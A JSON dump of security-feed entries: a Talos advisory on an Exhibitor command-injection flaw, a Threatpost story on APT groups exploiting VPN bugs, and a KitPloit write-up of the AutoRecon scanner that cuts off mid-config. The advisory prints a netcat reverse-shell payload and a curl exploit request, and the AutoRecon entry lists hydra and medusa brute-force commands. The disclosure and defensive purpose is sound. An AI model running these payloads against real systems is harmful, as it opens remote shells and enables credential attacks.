{"talos": [{"lastseen": "2019-11-19T13:22:39", "bulletinFamily": "info", "description": "# Talos Vulnerability Report\n\n### TALOS-2019-0790\n\n## Exhibitor UI command injection vulnerability\n\n##### November 13, 2019\n\n##### CVE Number\n\nCVE-2019-5029\n\n### Summary\n\nAn exploitable command injection vulnerability exists in the Config editor of the Exhibitor Web UI versions 1.0.9 to 1.7.1. Arbitrary shell commands surrounded by backticks or $() can be inserted into the editor and will be executed by the Exhibitor process when it launches ZooKeeper. An attacker can execute any command as the user running the Exhibitor process.\n\n### Details\n\nExhibitor is a ZooKeeper supervisory process, which is described in the [ZooKeeper documentation.](<https://zookeeper.apache.org/doc/r3.3.5/zookeeperAdmin.html#sc_supervision>)\n\nSince the ZooKeeper server will exit on an error, the Apache ZooKeeper documentation suggests a supervisory process that manages the ZooKeeper server process, mainly for the purpose of restarting ZooKeeper when it exits.\n\nExhibitor's Web UI does not have any form of authentication, and prior to version 1.7.0, did not have any way to specify which interfaces to listen on. Exposing Exhibitor is dangerous for the ZooKeeper ensemble because Exhibitor allows the changing of the ZooKeeper configuration, and also provides a UI for viewing and modifying keys and values stored in ZooKeeper.\n\nBy default, the Exhibitor Web UI listens on TCP 8080. However, since this port is commonly used, it may be common to find it on other ports as well.\n\nUnder the Config tab in the Exhibitor Web UI, the \"java.env script\" field can be modified and the new configuration pushed to ZooKeeper. Exhibitor launches ZooKeeper through a script, and the contents of this field are passed, unmodified, as arguments to the Java command to launch ZooKeeper, which can be seen [here.](<https://github.com/apache/zookeeper/blob/master/bin/zkServer.sh#L161>)\n\n(The contents of the \"java.env script\" field are passed in as $JVMFLAGS.)\n\nBased on how this argument is passed, there are several ways to execute arbitrary commands. The methods tested were surrounding the command with backticks and using $(), for example:\n\n$(/bin/nc -e /bin/sh 10.0.0.64 4444 &)\n\nThis example uses netcat to open a reverse shell to a listener on 10.0.0.64:4444.\n\nIn the example, ZooKeeper will still launch successfully after the command executes, and it will run the command every time ZooKeeper is re-launched by Exhibitor.\n\n### Exploit Proof of Concept\n\nThe included screenshots show the process of obtaining a root shell on the system.\n\nThe steps to exploit it from a web browser:\n\n 1. Open the Exhibitor Web UI and click on the Config tab, then flip the Editing switch to ON\n 2. In the \"java.env script\" field, enter any command surrounded by $() or ``, for example, for a simple reverse shell:\n\n$(/bin/nc -e /bin/sh 10.0.0.64 4444 &)\n\n 3. Click Commit > All At Once > OK\n\n 4. The command may take up to a minute to execute.\n\nIt can also be performed with a single curl command:\n\ncommand:\n \n \n curl -X POST -d @data.json http://10.0.0.200:8080/exhibitor/v1/config/set\n \n\ndata.json:\n \n \n {\n \"zookeeperInstallDirectory\": \"/opt/zookeeper\",\n \"zookeeperDataDirectory\": \"/opt/zookeeper/snapshots\",\n \"zookeeperLogDirectory\": \"/opt/zookeeper/transactions\",\n \"logIndexDirectory\": \"/opt/zookeeper/transactions\",\n \"autoManageInstancesSettlingPeriodMs\": \"0\",\n \"autoManageInstancesFixedEnsembleSize\": \"0\",\n \"autoManageInstancesApplyAllAtOnce\": \"1\",\n \"observerThreshold\": \"0\",\n \"serversSpec\": \"1:exhibitor-demo\",\n \"javaEnvironment\": \"$(/bin/nc -e /bin/sh 10.0.0.64 4444 &)\",\n \"log4jProperties\": \"\",\n \"clientPort\": \"2181\",\n \"connectPort\": \"2888\",\n \"electionPort\": \"3888\",\n \"checkMs\": \"30000\",\n \"cleanupPeriodMs\": \"300000\",\n \"cleanupMaxFiles\": \"20\",\n \"backupPeriodMs\": \"600000\",\n \"backupMaxStoreMs\": \"21600000\",\n \"autoManageInstances\": \"1\",\n \"zooCfgExtra\": {\n \"tickTime\": \"2000\",\n \"initLimit\": \"10\",\n \"syncLimit\": \"5\",\n \"quorumListenOnAllIPs\": \"true\"\n },\n \"backupExtra\": {\n \"directory\": \"\"\n },\n \"serverId\": 1\n }\n \n\n### Tested Versions\n\nTested version was compiled using the standalone pom.xml from the [Exhibitor master branch.](<https://github.com/soabase/exhibitor/blob/master/exhibitor-standalone/src/main/resources/buildscripts/standalone/maven/pom.xml>)\n\n(Note that the latest released version is labeled 1.7.1, but the version in the exhibitor-standalone's pom.xml is set to 1.6.0.)\n\nThe vulnerability should affect all versions at least as far back as 1.0.9, when the javaEnvironment variable was added.\n\n### Product URLs\n\n<https://github.com/soabase/exhibitor>\n\n### CVSSv3 Score\n\n9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n### CWE\n\nCWE-78 - Improper Neutralization of Special Elements used in an OS Command\n\n### Mitigation\n\nSince Exhibitor has no built-in authentication, it would be helpful to limit the interfaces it listens on to only trusted networks, or require authentication using something like an nginx reverse proxy and block all other access using firewall rules.\n\nIf the features provided by the Exhibitor Web UI are not needed and the only needed functionality is managing the ZooKeeper process, it should be replaced with a simpler ZooKeeper supervisor solution, such as a systemd service.\n\n### Timeline\n\n2019-03-08 - Vendor Disclosure \n2019-05-01 - GitHub issue #389 created; Vendor advised point of contact changed. Copy of report sent to new point of contact \n2019-05-14 - (75 day) 3rd follow up with vendor \n2019-05-29 - Final notice of public disclosure release \n2019-11-13 - Public Release\n\n##### Credit\n\nDiscovered by Logan Sanderson of Cisco ASIG. \n\n* * *\n\nVulnerability Reports Next Report\n\nTALOS-2019-0845\n\nPrevious Report\n\nTALOS-2019-0912\n", "modified": "2019-11-13T00:00:00", "published": "2019-11-13T00:00:00", "id": "TALOS-2019-0790", "href": "http://www.talosintelligence.com/vulnerability_reports/TALOS-2019-0790", "title": "Exhibitor UI command injection vulnerability", "type": "talos", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2019-11-04T07:05:06", "bulletinFamily": "info", "description": "State-sponsored advanced persistent threat (APT) groups are using flaws in outdated VPN technologies from Palo Alto Networks, Fortinet and Pulse Secure to carry out cyber attacks on targets in the United States and overseas, warned U.S. and U.K. officials.\n\nThe National Security Agency (NSA) issued a [Cybersecurity Advisory](<https://media.defense.gov/2019/Oct/07/2002191601/-1/-1/0/CSA-MITIGATING-RECENT-VPN-VULNERABILITIES.PDF>) Monday about the threats and offered mitigation suggestions, warning that multiple APT actors have weaponized three critical vulnerabilities first published in August\u2013[CVE-2019-11539](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11539>), [CVE-2019-11510](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510>) and [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>)\u2013to gain access to vulnerable VPN devices. The first two affect Pulse Secure VPNs while the third affects Fortinet technology.\n\nThe National Cyber Security Centre in the United Kingdom posted [a separate warning](<https://www.ncsc.gov.uk/news/alert-vpn-vulnerabilities>) about the threats, which stem from vulnerabilities that allow \u201can attacker to retrieve arbitrary files, including those containing authentication credentials,\u201d according to the post.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe flaws allow an attacker to use those stolen credentials to connect to the VPN and change configuration settings or even connect to other infrastructure on the network, authorities warned. Through this unauthorized connection, an attacker could gain privileges to run secondary exploits that could allow them to access a root shell.\n\nThe U.K.\u2019s alert added two more Fortinet vulnerabilities to the list\u2013[CVE-2018-13382](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13382>) and [CVE-2018-13383](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13383>)\u2014as well as a Palo Alto Networks VPN flaw, [CVE-2019-1579](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1579>).\n\nAuthorities offered a series of mitigation techniques for the vulnerabilities, which they said should be taken very seriously by users of these products.\n\nTo mitigate attacks against all of the existing threats, officials recommend a couple of basic steps: apply any existing patches for VPNs in use that could be at risk, and update existing credentials. The NSA also recommended revoking existing VPN server keys and certificates and generating new ones.\n\nA more comprehensive list of mitigation techniques recommended by the NSA also includes discouraging the use of proprietary SSLVPN/TLSVPN protocols and self-signed and wild card certificates for public-facing VPN web applications; requiring mutual certificate-based authentication so remote clients attempting to access the public-facing VPN web application must present valid client certificates to maintain a connection; and using multi-factor authentication to prevent attackers from authenticating with compromised passwords by requiring a second authentication factor.\n\nNeither the NSA nor the National Cyber Security Centre alerts identified which groups are responsible for the attacks.\n\nThe warnings come after [reports surfaced](<https://www.zdnet.com/article/a-chinese-apt-is-now-going-after-pulse-secure-and-fortinet-vpn-servers/>) last month that APT5 was targeting VPNs from Fortinet and Pulse Secure after code for two of the aforementioned vulnerabilities was disclosed in a presentation at the Black Hat Security Conference (The two companies have patched those flaws, and in the case of Pulse Secure, issued the fixes in April, three months before Black Hat.).\n\nAPT5, a Chinese state-sponsored group also known as Manganese, has been active since 2007 with a particular focus on technology and telecommunications companies, according to a [report](<https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-southeast-asia-threat-landscape.pdf>) by FireEye.\n\n**_What are the top cyber security issues associated with privileged account access and credential governance? Experts from Thycotic will discuss during our upcoming free _**[**_Threatpost webinar_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_, \u201cHackers and Security Pros: Where They Agree & Disagree When It Comes to Your Privileged Access Security.\u201d _**[**_Click here to register_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_._**\n", "modified": "2019-10-08T13:44:16", "published": "2019-10-08T13:44:16", "id": "THREATPOST:2018FCCB3FFD46BACD36ADBC6C9013CE", "href": "https://threatpost.com/apt-groups-exploiting-flaws-in-unpatched-vpns-officials-warn/148956/", "type": "threatpost", "title": "APT Groups Exploiting Flaws in Unpatched VPNs, Officials Warn", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "kitploit": [{"lastseen": "2019-10-18T14:33:31", "bulletinFamily": "tools", "description": "[  ](<https://1.bp.blogspot.com/-arkbWkZglVY/XUdt8e6FdpI/AAAAAAAAP50/Zh_SSRsaPTY6Y_Iwnja1aQ8Pk6fnORu_QCLcBGAs/s1600/autorecon.png>)\n\n \n\n\nAutoRecon is a multi-threaded network reconnaissance tool which performs automated enumeration of services. It is intended as a time-saving tool for use in CTFs and other [ penetration testing ](<https://www.kitploit.com/search/label/Penetration%20Testing> \"penetration testing\" ) environments (e.g. OSCP). It may also be useful in real-world engagements. \n\nThe tool works by firstly performing port scans/service detection scans. From those initial results, the tool will launch further enumeration scans of those services using a number of different tools. For example, if HTTP is found, nikto will be launched (as well as many others). \n\nEverything in the tool is highly configurable. The default configuration performs ** no automated exploitation ** to keep the tool in line with OSCP exam rules. If you wish to add automatic exploit tools to the configuration, you do so at your own risk. The author will not be held responsible for negative actions that result from the mis-use of this tool. \n\n \n** Origin ** \nAutoRecon was inspired by three tools which the author used during the OSCP labs: [ Reconnoitre ](<https://github.com/codingo/Reconnoitre> \"Reconnoitre\" ) , [ ReconScan ](<https://github.com/RoliSoft/ReconScan> \"ReconScan\" ) , and [ bscan ](<https://github.com/welchbj/bscan> \"bscan\" ) . While all three tools were useful, none of the three alone had the functionality desired. AutoRecon combines the best features of the aforementioned tools while also implementing many new features to help testers with enumeration of multiple targets. \n \n** Features ** \n \n\n\n * Supports multiple targets in the form of IP addresses, IP ranges (CIDR notation), and resolvable hostnames. \n * Can scan targets concurrently, utilizing multiple processors if they are available. \n * Customizable port scanning profiles for flexibility in your initial scans. \n * Customizable [ service enumeration ](<https://www.kitploit.com/search/label/Service%20Enumeration> \"service enumeration\" ) commands and suggested manual follow-up commands. \n * An intuitive directory structure for results gathering. \n * Full logging of commands that were run, along with errors if they fail. \n * Global and per-scan [ pattern matching ](<https://www.kitploit.com/search/label/Pattern%20Matching> \"pattern matching\" ) so you can highlight/extract important information from the noise. \n \n** Requirements ** \n\n\n * Python 3 \n * colorama \n * toml \nOnce Python 3 is installed, pip3 can be used to install the other requirements: \n\n \n \n $ pip3 install -r requirements.txt\n\nSeveral commands used in AutoRecon reference the SecLists project, in the directory /usr/share/seclists/. You can either manually download the SecLists project to this directory ( [ https://github.com/danielmiessler/SecLists ](<https://github.com/danielmiessler/SecLists> \"https://github.com/danielmiessler/SecLists\" ) ), or if you are using Kali Linux ( ** highly recommended ** ) you can run the following: \n\n \n \n $ sudo apt install seclists\n\nAutoRecon will still run if you do not install SecLists, though several commands may fail, and some manual commands may not run either. \nAdditionally the following commands may need to be installed, depending on your OS: \n\n \n \n curl\n enum4linux\n gobuster\n nbtscan\n nikto\n nmap\n onesixtyone\n oscanner\n smbclient\n smbmap\n smtp-user-enum\n snmpwalk\n sslscan\n svwar\n tnscmd10g\n whatweb\n wkhtmltoimage\n\n \n** Usage ** \nAutoRecon uses Python 3 specific functionality and does not support Python 2. \n\n \n \n usage: autorecon.py [-h] [-ct <number>] [-cs <number>] [--profile PROFILE]\n [-o OUTPUT] [--nmap NMAP | --nmap-append NMAP_APPEND] [-v]\n [--disable-sanity-checks]\n targets [targets ...]\n \n Network reconnaissance tool to port scan and automatically enumerate services\n found on multiple targets.\n \n positional arguments:\n targets IP addresses (e.g. 10.0.0.1), CIDR notation (e.g.\n 10.0.0.1/24), or resolvable hostnames (e.g. foo.bar)\n to scan.\n \n optional arguments:\n -h, --help show this help message and exit\n -ct <number>, --concurrent-targets <number>\n The maximum number of target hosts to scan\n concurrently. Default: 5\n -cs <number>, --concurrent-scans <number>\n The maximum n umber of scans to perform per target\n host. Default: 10\n --profile PROFILE The port scanning profile to use (defined in port-\n scan-profiles.toml). Default: default\n -o OUTPUT, --output OUTPUT\n The output directory for results. Default: results\n --nmap NMAP Override the {nmap_extra} variable in scans. Default:\n -vv --reason -Pn\n --nmap-append NMAP_APPEND\n Append to the default {nmap_extra} variable in scans.\n -v, --verbose Enable verbose output. Repeat for more verbosity.\n --disable-sanity-checks\n Disable sanity checks that would otherwise prevent the\n scans from running.\n\n \n** Examples ** \n** Scanning a single target: ** \n\n \n \n python3 autorecon.py 127.0.0.1\n [*] Scanning target 127.0.0.1\n [*] Running service detection nmap-full-tcp on 127.0.0.1\n [*] Running service detection nmap-top-20-udp on 127.0.0.1\n [*] Running service detection nmap-quick on 127.0.0.1\n [*] Service detection nmap-quick on 127.0.0.1 finished successfully\n [*] [127.0.0.1] ssh found on tcp/22\n [*] [127.0.0.1] http found on tcp/80\n [*] [127.0.0.1] rpcbind found on tcp/111\n [*] [127.0.0.1] postgresql found on tcp/5432\n [*] Running task tcp/22/nmap-ssh on 127.0.0.1\n [*] Running task tcp/80/nmap-http on 127.0.0.1\n [*] Running task tcp/80/curl-index on 127.0.0.1\n [*] Running task tcp/80/curl-robots on 127.0.0.1\n [*] Running task tcp/80/whatweb on 127.0.0.1\n [*] Running task tcp/80/nikto on 127.0.0.1\n [*] Running task tcp/111/nmap-nfs on 127.0.0.1\n [*] Task tcp/80/curl-index on 127.0.0.1 finished successfully\n [*] Task tcp/80/curl-robots on 127.0.0.1 finished successfully\n [*] Task tcp/22/nmap-ssh on 127.0.0.1 finished successfully\n [*] Task tcp/80/whatweb on 127.0.0.1 finished successfully\n [*] Task tcp/111/nmap-nfs on 127.0.0.1 finished successfully\n [*] Task tcp/80/nmap-http on 127.0.0.1 finished successfully\n [*] Task tcp/80/nikto on 127.0.0.1 finished successfully\n [*] Service detection nmap-top-20-udp on 127.0.0.1 finished successfully\n [*] Service detection nmap-full-tcp on 127.0.0.1 finished successfully\n [*] [127.0.0.1] http found on tcp/5984\n [*] [127.0.0.1] rtsp found on tcp/5985\n [*] Running task tcp/5984/nmap-http on 127.0.0.1\n [*] Running task tcp/5984/curl-index on 127.0.0.1\n [*] Running task tcp/5984/curl-robots on 127.0.0.1\n [*] Running task tcp/5984/whatweb on 127.0.0.1\n [*] Running task tcp/5984/nikto on 127.0.0.1\n [*] Task tcp/5984/curl-index on 127.0.0.1 finished successfully\n [*] Task tcp/5984/curl-robots on 127.0.0.1 finished successfully\n [*] Task tcp/5984/whatweb on 127.0.0.1 finish ed successfully\n [*] Task tcp/5984/nikto on 127.0.0.1 finished successfully\n [*] Task tcp/5984/nmap-http on 127.0.0.1 finished successfully\n [*] Finished scanning target 127.0.0.1\n\nThe default port scan profile first performs a full TCP port scan, a top 20 UDP port scan, and a top 1000 TCP port scan. You may ask why AutoRecon scans the top 1000 TCP ports at the same time as a full TCP port scan (which also scans those ports). The reason is simple: most open ports will generally be in the top 1000, and we want to start enumerating services quickly, rather than wait for Nmap to scan every single port. As you can see, all the service enumeration scans actually finish before the full TCP port scan is done. While there is a slight duplication of efforts, it pays off by getting actual enumeration results back to the tester quicker. \nNote that the actual command line output will be colorized if your terminal supports it. \n** Scanning multiple targets ** \n\n \n \n python3 autorecon.py 192.168.1.100 192.168.1.1/30 localhost\n [*] Scanning target 192.168.1.100\n [*] Scanning target 192.168.1.1\n [*] Scanning target 192.168.1.2\n [*] Scanning target localhost\n [*] Running service detection nmap-quick on 192.168.1.100\n [*] Running service detection nmap-quick on localhost\n [*] Running service detection nmap-top-20-udp on 192.168.1.100\n [*] Running service detection nmap-quick on 192.168.1.1\n [*] Running service detection nmap-quick on 192.168.1.2\n [*] Running service detection nmap-top-20-udp on 192.168.1.1\n [*] Running service detection nmap-full-tcp on 192.168.1.100\n [*] Running service detection nmap-top-20-udp on localhost\n [*] Running service detection nmap-top-20-udp on 192.168.1.2\n [*] Running service detection nmap-full-tcp on localhost\n [*] Running service detection nmap-full-tcp on 192.168.1.1\n [*] Running service detection nmap-full-tcp on 192.168.1.2\n ...\n\nAutoRecon supports multiple targets per scan, and will expand IP ranges provided in CIDR notation. By default, only 5 targets will be scanned at a time, with 10 scans per target. \n** Scanning multiple targets with advanced options ** \n\n \n \n python3 autorecon.py -ct 2 -cs 2 -vv -o outputdir 192.168.1.100 192.168.1.1/30 localhost\n [*] Scanning target 192.168.1.100\n [*] Scanning target 192.168.1.1\n [*] Running service detection nmap-quick on 192.168.1.100 with nmap -vv --reason -Pn -sV -sC --version-all -oN \"/root/outputdir/192.168.1.100/scans/_quick_tcp_nmap.txt\" -oX \"/root/outputdir/192.168.1.100/scans/_quick_tcp_nmap.xml\" 192.168.1.100\n [*] Running service detection nmap-quick on 192.168.1.1 with nmap -vv --reason -Pn -sV -sC --version-all -oN \"/root/outputdir/192.168.1.1/scans/_quick_tcp_nmap.txt\" -oX \"/root/outputdir/192.168.1.1/scans/_quick_tcp_nmap.xml\" 192.168.1.1\n [*] Running service detection nmap-top-20-udp on 192.168.1.100 with nmap -vv --reason -Pn -sU -A --top-ports=20 --version-all -oN \"/root/outputdir/192.168.1.100/scans/_top_20_udp_nmap.txt\" -oX \"/root/outputdir/192.168.1.100/scans/_top_20_udp_nmap.xml\" 192.168.1.100\n [*] Running service detection nmap-top-20-udp on 192.168.1.1 with nmap -vv --reason -Pn -sU -A --top-ports=20 --version-all -oN \"/root/outputdir/192.168.1.1/scans/_top_20_udp_nmap.txt\" -oX \"/root/outputdir/192.168.1.1/scans/_top_20_udp_nmap.xml\" 192.168.1.1\n [-] [192.168.1.1 nmap-quick] Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-01 17:25 EST\n [-] [192.168.1.100 nmap-quick] Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-01 17:25 EST\n [-] [192.168.1.100 nmap-top-20-udp] Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-01 17:25 EST\n [-] [192.168.1.1 nmap-top-20-udp] Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-01 17:25 EST\n [-] [192.168.1.1 nmap-quick] NSE: Loaded 148 scripts for scanning.\n [-] [192.168.1.1 nmap-quick] NSE: Script Pre-scanning.\n [-] [192.168.1.1 nmap-quick] NSE: Starting runlevel 1 (of 2) scan.\n [-] [192.168.1.1 nmap-quick] Initiating NSE at 17:25\n [-] [192.168.1.1 nmap-quick] Completed NSE at 17:25, 0.00s elapsed\n [-] [192.168.1.1 nmap-quick] NSE: Starting runlevel 2 (of 2) sca n.\n [-] [192.168.1.1 nmap-quick] Initiating NSE at 17:25\n [-] [192.168.1.1 nmap-quick] Completed NSE at 17:25, 0.00s elapsed\n [-] [192.168.1.1 nmap-quick] Initiating ARP Ping Scan at 17:25\n [-] [192.168.1.100 nmap-quick] NSE: Loaded 148 scripts for scanning.\n [-] [192.168.1.100 nmap-quick] NSE: Script Pre-scanning.\n [-] [192.168.1.100 nmap-quick] NSE: Starting runlevel 1 (of 2) scan.\n [-] [192.168.1.100 nmap-quick] Initiating NSE at 17:25\n [-] [192.168.1.100 nmap-quick] Completed NSE at 17:25, 0.00s elapsed\n [-] [192.168.1.100 nmap-quick] NSE: Starting runlevel 2 (of 2) scan.\n [-] [192.168.1.100 nmap-quick] Initiating NSE at 17:25\n [-] [192.168.1.100 nmap-quick] Completed NSE at 17:25, 0.00s elapsed\n [-] [192.168.1.100 nmap-quick] Initiating ARP Ping Scan at 17:25\n ...\n\nIn this example, the -ct option limits the number of concurrent targets to 2, and the -cs option limits the number of concurrent scans per target to 2. The -vv option makes the output very verbose, showing the output of every scan being run. The -o option sets a custom output directory for scan results to be saved. \n \n** Verbosity ** \nAutoRecon supports three levels of verbosity: \n\n\n * (none) Minimal output. AutoRecon will announce when target scans start and finish, as well as which services were identified. \n * (-v) Verbose output. AutoRecon will additionally specify the exact commands which are being run, as well as highlighting any patterns which are matched in command output. \n * (-vv) Very verbose output. AutoRecon will output everything. Literally every line from all commands which are currently running. When scanning multiple targets concurrently, this can lead to a ridiculous amount of output. It is not advised to use -vv unless you absolutely need to see live output from commands. \n \n** Results ** \nBy default, results will be stored in the ./results directory. A new sub directory is created for every target. The structure of this sub directory is: \n\n \n \n .\n \u251c\u2500\u2500 exploit/\n \u251c\u2500\u2500 loot/\n \u251c\u2500\u2500 report/\n \u2502\u00a0\u00a0 \u251c\u2500\u2500 local.txt\n \u2502\u00a0\u00a0 \u251c\u2500\u2500 notes.txt\n \u2502\u00a0\u00a0 \u251c\u2500\u2500 proof.txt\n \u2502\u00a0\u00a0 \u2514\u2500\u2500 screenshots/\n \u2514\u2500\u2500 scans/\n \u251c\u2500\u2500 _commands.log\n \u251c\u2500\u2500 _manual_commands.txt\n \u2514\u2500\u2500 xml/\n\nThe exploit directory is intended to contain any exploit code you download / write for the target. \nThe loot directory is intended to contain any loot (e.g. hashes, interesting files) you find on the target. \nThe report directory contains some auto-generated files and directories that are useful for reporting: \n\n\n * local.txt can be used to store the local.txt flag found on targets. \n * notes.txt should contain a basic template where you can write notes for each service discovered. \n * proof.txt can be used to store the proof.txt flag found on targets. \n * The screenshots directory is intended to contain the screenshots you use to document the exploitation of the target. \nThe scans directory is where all results from scans performed by AutoRecon will go. This includes port scans / service detection scans, as well as any service enumeration scans. It also contains two other files: \n\n\n * _commands.log contains a list of every command AutoRecon ran against the target. This is useful if one of the commands fails and you want to run it again with modifications. \n * _manual_commands.txt contains any commands that are deemed \"too dangerous\" to run automatically, either because they are too intrusive, require modification based on human analysis, or just work better when there is a human monitoring them. \nIf a scan results in an error, a file called _errors.log will also appear in the scans directory with some details to alert the user. \nIf output matches a defined pattern, a file called _patterns.log will also appear in the scans directory with details about the matched output. \nThe scans/xml directory stores any XML output (e.g. from Nmap scans) separately from the main scan outputs, so that the scans directory itself does not get too cluttered. \n \n** Port Scan profiles ** \nThe port-scan-profiles.toml file is where you can define the initial port scans / service detection commands. The configuration file uses the TOML format, which is explained here: [ https://github.com/toml-lang/toml ](<https://github.com/toml-lang/toml> \"https://github.com/toml-lang/toml\" ) \nHere is an example profile called \"quick\": \n\n \n \n [quick]\n \n [quick.nmap-quick]\n \n [quick.nmap-quick.service-detection]\n command = 'nmap {nmap_extra} -sV --version-all -oN \"{scandir}/_quick_tcp_nmap.txt\" -oX \"{scandir}/xml/_quick_tcp_nmap.xml\" {address}'\n pattern = '^(?P<port>\\d+)\\/(?P<protocol>(tcp|udp))(.*)open(\\s*)(?P<service>[\\w\\-\\/]+)(\\s*)(.*)$'\n \n [quick.nmap-top-20-udp]\n \n [quick.nmap-top-20-udp.service-detection]\n command = 'nmap {nmap_extra} -sU -A --top-ports=20 --version-all -oN \"{scandir}/_top_20_udp_nmap.txt\" -oX \"{scandir}/xml/_top_20_udp_nmap.xml\" {address}'\n pattern = '^(?P<port>\\d+)\\/(?P<protocol>(tcp|udp))(.*)open(\\s*)(?P<service>[\\w\\-\\/]+)(\\s*)(.*)$'\n\nNote that indentation is optional, it is used here purely for aesthetics. The \"quick\" profile defines a scan called \"nmap-quick\". This scan has a service-detection command which uses nmap to scan the top 1000 TCP ports. The command uses two references: {scandir} is the location of the scans directory for the target, and {address} is the address of the target. \nA regex pattern is defined which matches three named groups (port, protocol, and service) in the output. Every service-detection command must have a corresponding pattern that matches all three of those groups. AutoRecon will attempt to do some checks and refuse to scan if any of these groups are missing. \nAn almost identical scan called \"nmap-top-20-udp\" is also defined. This scans the top 20 UDP ports. \nHere is a more complicated example: \n\n \n \n [udp]\n \n [udp.udp-top-20]\n \n [udp.udp-top-20.port-scan]\n command = 'unicornscan -mU -p 631,161,137,123,138,1434,445,135,67,53,139,500,68,520,1900,4500,514,49152,162,69 {address} 2>&1 | tee \"{scandir}/_top_20_udp_unicornscan.txt\"'\n pattern = '^UDP open\\s*[\\w-]+\\[\\s*(?P<port>\\d+)\\].*$'\n \n [udp.udp-top-20.service-detection]\n command = 'nmap {nmap_extra} -sU -A -p {ports} --version-all -oN \"{scandir}/_top_20_udp_nmap.txt\" -oX \"{scandir}/xml/_top_20_udp_nmap.xml\" {address}'\n pattern = '^(?P<port>\\d+)\\/(?P<protocol>(udp))(.*)open(\\s*)(?P<service>[\\w\\-\\/]+)(\\s*)(.*)$'\n\nIn this example, a profile called \"udp\" defines a scan called \"udp-top-20\". This scan has two commands, one is a port-scan and the other is a service-detection. When a port-scan command is defined, it will always be run first. The corresponding pattern must match a named group \"port\" which extracts the port number from the output. \nThe service-detection will be run after the port-scan command has finished, and uses a new reference: {ports}. This reference is a comma-separated string of all the ports extracted by the port-scan command. Note that the same three named groups (port, protocol, and service) are defined in the service-detection pattern. \nBoth the port-scan and the service-detection commands use the {scandir} and {address} references. \nNote that if a port-scan command is defined without a corresponding service-detection command, AutoRecon will refuse to scan. \nThis more complicated example is only really useful if you want to use unicornscan's speed in conjuction with nmap's service detection abilities. If you are content with using Nmap for both port scanning and service detection, you do not need to use this setup. \n \n** Service Scans ** \nThe service-scans.toml file is where you can define service enumeration scans and other manual commands associated with certain services. \nHere is an example of a simple configuration: \n\n \n \n [ftp]\n \n service-names = [\n '^ftp',\n '^ftp\\-data'\n ]\n \n [[ftp.scan]]\n name = 'nmap-ftp'\n command = 'nmap {nmap_extra} -sV -p {port} --script=\"(ftp* or ssl*) and not (brute or broadcast or dos or external or fuzzer)\" -oN \"{scandir}/{protocol}_{port}_ftp_nmap.txt\" -oX \"{scandir}/xml/{protocol}_{port}_ftp_nmap.xml\" {address}'\n \n [[ftp.scan.pattern]]\n description = 'Anonymous FTP Enabled!'\n pattern = 'Anonymous FTP login allowed'\n \n [[ftp.manual]]\n description = 'Bruteforce logins:'\n commands = [\n 'hydra -L \"{username_wordlist}\" -P \"{password_wordlist}\" -e nsr -s {port} -o \"{scandir}/{protocol}_{port}_ftp_hydra.txt\" ftp://{address}',\n 'medusa -U \"{username_wordlist}\" -P \"{password_wordlist}\" -e ns -n {port} -O \"{scandir}/{protocol}_{port}_ftp_medusa.txt\" -M ftp -h {address}'\n ]\n\nNote that indentation is optional, it is used here purely for aesthetics. The service \"ftp\" is defined here. The service-names array contains regex strings which should match the service name from the service-detection scans. Regex is used to be as flexible as possible. The service-names array works on a whitelist basis; as long as one of the regex strings matches, the service will get scanned. \nAn optional ignore-service-names array can also be defined, if you want to blacklist certain regex strings from matching. \nThe ftp.scan section defines a single scan, named nmap-ftp. This scan defines a command which runs nmap with several ftp-related scripts. Several references are used here: \n\n\n * {nmap_extra} by default is set to \"-vv --reason -Pn\" but this can be overridden or appended to using the --nmap or --nmap-append command line options respectively. If the protocol is UDP, \"-sU\" will also be appended. \n * {port} is the port that the service is running on. \n * {scandir} is the location of the scans directory for the target. \n * {protocol} is the protocol being used (either tcp or udp). \n * {address} is the address of the target. \nA pattern is defined for the nmap-ftp scan, which matches the simple pattern \"Anonymous FTP login allowed\". In the event that this pattern matches output of the nmap-ftp command, the pattern description (\"Anonymous FTP Enabled!\") will be saved to the _patterns.log file in the scans directory. A special reference {match} can be used in the description to reference the entire match, or the first capturing group. \nThe ftp.manual section defines a group of manual commands. This group contains a description for the user, and a commands array which contains the commands that a user can run. Two new references are defined here: {username_wordlist} and {password_wordlist} which are configured at the very top of the service-scans.toml file, and default to a username and password wordlist provided by SecLists. \nHere is a more complicated configuration: \n\n \n \n [smb]\n \n service-names = [\n '^smb',\n '^microsoft\\-ds',\n '^netbios'\n ]\n \n [[smb.scan]]\n name = 'nmap-smb'\n command = 'nmap {nmap_extra} -sV -p {port} --script=\"(nbstat or smb* or ssl*) and not (brute or broadcast or dos or external or fuzzer)\" --script-args=\"unsafe=1\" -oN \"{scandir}/{protocol}_{port}_smb_nmap.txt\" -oX \"{scandir}/xml/{protocol}_{port}_smb_nmap.xml\" {address}'\n \n [[smb.scan]]\n name = 'enum4linux'\n command = 'enum4linux -a -M -l -d {address} 2>&1 | tee \"{scandir}/enum4linux.txt\"'\n run_once = true\n ports.tcp = [139, 389, 445]\n ports.udp = [137]\n \n [[smb.scan]]\n name = 'nbtscan'\n command = 'nbtscan -rvh {address} 2>&1 | tee \"{scandir}/nbtscan.txt\"'\n run_once = true\n ports.udp = [137]\n \n [[smb.scan]]\n name = 'smbclient'\n command = 'smbclient -L\\\\ -N -I {address} 2>&1 | tee \"{scan dir}/smbclient.txt\"'\n run_once = true\n ports.tcp = [139, 445]\n \n [[smb.scan]]\n name = 'smbmap-share-permissions'\n command = 